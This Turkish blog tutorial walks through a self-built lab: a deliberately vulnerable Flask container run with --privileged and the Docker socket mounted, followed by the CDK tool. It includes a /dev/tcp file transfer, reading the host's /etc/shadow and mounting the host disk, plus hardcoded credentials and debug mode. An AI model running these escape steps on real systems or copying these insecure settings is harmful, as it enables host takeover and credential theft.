CDK Tool— Konteyner Sızma Aracı
CDK (Container DucK), herhangi bir işletim sistemi bağımlılığı olmaksızın, konteynerlerde zaafiyer sömürmek için tasarlanmış, açık kaynaklı…
CDK Tool— Konteyner Sızma Aracı

CDK (Container DucK), herhangi bir işletim sistemi bağımlılığı olmaksızın, konteynerlerde zaafiyer sömürmek için tasarlanmış, açık kaynaklı bir konteyner sızma testi aracı. Bu yazıda erişim kazandığımız bir docker konteynerında bu aracı nasıl yükleyip kullanabileceğimizi göstereceğim.
Öncelikle bize sömürebileceğimiz bir docker konteynerı oluşturacağız. Bu kısım doğrudan CDK ile alakalı değil ama her aracı her konteyner’da kullanamayacağımızı bilmemiz gerek. Sızdığımız konteyner’da hangi aracı kullanabileceğimizi kendimiz bulmamız lazım.
Kaldıracağımız konteyner basit bir login sayfası olan bir web uygulaması. Rasgele bir isimle klasör oluşturarak başlayalım:
mkdir basit_login_app
Klasöre geçelim ve docker dosyalarımızı oluşturmaya başlayalım:
cd basit_login_app
Bir app.py dosyası içine aşağıdaki python kodunu yazıp kaydedin:
from flask import Flask, render_template, request, redirect, url_for, session
app = Flask(__name__)
app.secret_key = 'gizli_anahtar' # Session yönetimi için gerekli
# Sabit kullanıcı bilgisi (Veritabanı olmadan basit kontrol)
USER_DATA = {
"username": "admin",
"password": "password123"
}
@app.route('/')
def home():
if 'username' in session:
return render_template('index.html', username=session['username'])
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
error = None
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == USER_DATA['username'] and password == USER_DATA['password']:
session['username'] = username
return redirect(url_for('home'))
else:
error = 'Hatalı kullanıcı adı veya şifre!'
return render_template('login.html', error=error)
@app.route('/logout')
def logout():
session.pop('username', None)
return redirect(url_for('login'))
if __name__ == '__main__':
# 0.0.0.0 olması container dışından erişim için şarttır
app.run(debug=True, host='0.0.0.0', port=5000)
“Dockerfile” isimli bir dosya daha oluşturup aşağıdaki kodları kopyalayın:
# Temel imaj olarak hafif Python sürümü kullan
FROM python:3.9-slim
# Çalışma dizinini ayarla
WORKDIR /app
# Gerekli kütüphaneyi yükle
RUN pip install flask
# Proje dosyalarını kopyala
COPY . .
# Portu dışarı aç (Flask varsayılanı 5000)
EXPOSE 5000
# Uygulamayı başlat
CMD ["python", "app.py"]
HTML sayfaları için bir templates klasörü oluşturun:
mkdir templates
İçine bir index.html dosyası oluşturup içine aşağıdakileri içine kopyalayın:
<!DOCTYPE html>
<html>
<head>
<title>Anasayfa</title>
<style>
body { font-family: sans-serif; text-align: center; padding-top: 50px; }
a { color: red; text-decoration: none; font-weight: bold; }
</style>
</head>
<body>
<h1>Hoşgeldin, {{ username }}!</h1>
<p>Başarıyla giriş yaptınız.</p>
<p>Burası güvenli bölge.</p>
<br>
<a href="/logout">Çıkış Yap</a>
</body>
</html>
login.html dosyasına da aşağıdakileri kopyalayın:
<!DOCTYPE html>
<html>
<head>
<title>Giriş Yap</title>
<style>
body { font-family: sans-serif; display: flex; justify-content: center; align-items: center; height: 100vh; background-color: #f0f2f5; }
.container { background: white; padding: 30px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
input { display: block; margin: 10px 0; padding: 10px; width: 200px; }
button { background: #007bff; color: white; border: none; padding: 10px 20px; cursor: pointer; }
.error { color: red; font-size: 0.9em; }
</style>
</head>
<body>
<div class="container">
<h2>Sisteme Giriş</h2>
{% if error %}
<p class="error">{{ error }}</p>
{% endif %}
<form method="post">
<input type="text" name="username" placeholder="Kullanıcı Adı" required>
<input type="password" name="password" placeholder="Şifre" required>
<button type="submit">Giriş Yap</button>
</form>
</div>
</body>
</html>
Dockerfile’ın olduğu ana klasörümüze dönüp imajımızı build edelim.
sudo docker build -t login-uygulamasi .
Bununla beraber docker konteyner’ımız hazır. Artık CDK’yı kullanma kısmına gelebiliriz.
Aracın binary’sini çekerek başlayalım. İstediğiniz bir konuma indirebilirsiniz.
wget https://github.com/cdk-team/CDK/releases/download/v1.5.2/cdk_linux_amd64
Docker konteyner’ını kaldırmak için aşağıdaki komutu kullanalım:
sudo docker run --privileged -v /var/run/docker.sock:/var/run/docker.sock -d -p 5000:5000 --name sitem login-uygulamasi
Buradaki privileged ve docker.sock eklentisi önemli. Bunları zaafiyeti olan bir konteyner olması için ekliyoruz ki CDK açık bulabilsin. Çok daha büyük ve kapsamlı konteyner’la birçok başka açık bulunabilir. Bizimki basit bir uygulama olduğu için açık bulmak için biraz yardım gerekiyordu. “sitem” ismini sadece daha kolay erişmek için koyduk.
Artık konteyner çalışıyor. Konteyner’ın terminaline geçmek için yeni bir terminal penceresinde aşağıdaki kodu yazın:
sudo docker exec -it sitem /bin/bash
Konteyner’ın interaktif terminaline erişmiş olduk. Şimdi ilk problem CDK’yi bu konteyner’a indirmek. Konteyner içinde wget, curl tarzı bir komut kurulu değil. CDK’yı başka şekilde konteyner’a yükleyeceğiz.
Bunun için öncelikle ana makinemize indirdiğimiz cdk_linux_amd64 dosyasının ismini daha kolay bir şey yapalım.
mv cdk_linux_amd64 cdk
Şimdi bu dosyayı nc ile ağımıza açalım:
nc -lvp 999 < cdk
Konteyner terminaline gelip aşağıdaki kod ile bu cdk dosyasını alalım. IP ve port kısmını kendi hostunuz ile değiştirmeyi unutmayın. (Port’u az önce 999 vermiştik)
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
Biraz bekleyip konteyner’da CTRL+C yaparak işlemi durduruyoruz. Bu yolla cdk dosyasını konteyner’a aldıktan sonra çalıştırma izni ekleyelim:
chmod +x cdk
Artık CDK aracı çalışmaya hazır. Konteyner’da
./cdk eva
ile aracı çalıştırıp “evaluation” yapmasını sağlıyoruz. CDK bulunduğu konteyner’da erişebildiği bilgilerle tarama yaparak olası açıkları ve konteyner’ın bilgilerini gösteriyor.

CDK kırmızı ile belirttiği kısımlarda bize hangi zaafiyetlerin olabileceği ile alakalı bilgi veriyor. Buradan itibaren farklı yollar denenerek bir sızma denenebilir.
Bizim kaldırdığımız konteyner privileged olduğu için CDK bunun yarattığı zaafiyetleri gösteriyor.
[*] Maybe you can exploit the Capabilities below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
./cdk run cap-dac-read-search
ilk tavsiye edilen exploit. Bunu yazıp çalıştırınca bize docker çalıştıran makinenin kendi /etc/shadow’unu veriyor.

bir başka yapabileceğimiz exploitte docker çalıştıran makinenin diskini mount etmek. Bunun için
./cdk run mount-disk

Başarılı şekilde diski bize gösterdiği adrese bağladı. Bu konuma “ls” yaptığımızda konteyner çalıştıran sistemin dizinlerini görebiliyoruz.

Bu noktadan itibaren istediğimiz birçok şeyi bu makineye yapabiliriz. Verileri okumak, diski kopyalamak, kalıcılık sağlamak vs. istediğimizi gerçekleştirebilecek durumdayız.

Son olarak, CDK’nın hazır exploit listesini listelemek için de şunu yazabiliriz:
./cdk run --list

메타데이터
- post_id
- 64d51b320bef
- slug
- cdk-tool-konteyner-sızma-aracı-64d51b320bef
- url
- https://medium.com/@adilazimdegilx/cdk-tool-konteyner-s%C4%B1zma-arac%C4%B1-64d51b320bef
- canonical_url
- https://medium.com/@adilazimdegilx/cdk-tool-konteyner-s%C4%B1zma-arac%C4%B1-64d51b320bef
- author_url
- https://medium.com/@adilazimdegilx
- status
- ok
- fetched_at
- 2026-06-11 21:11:36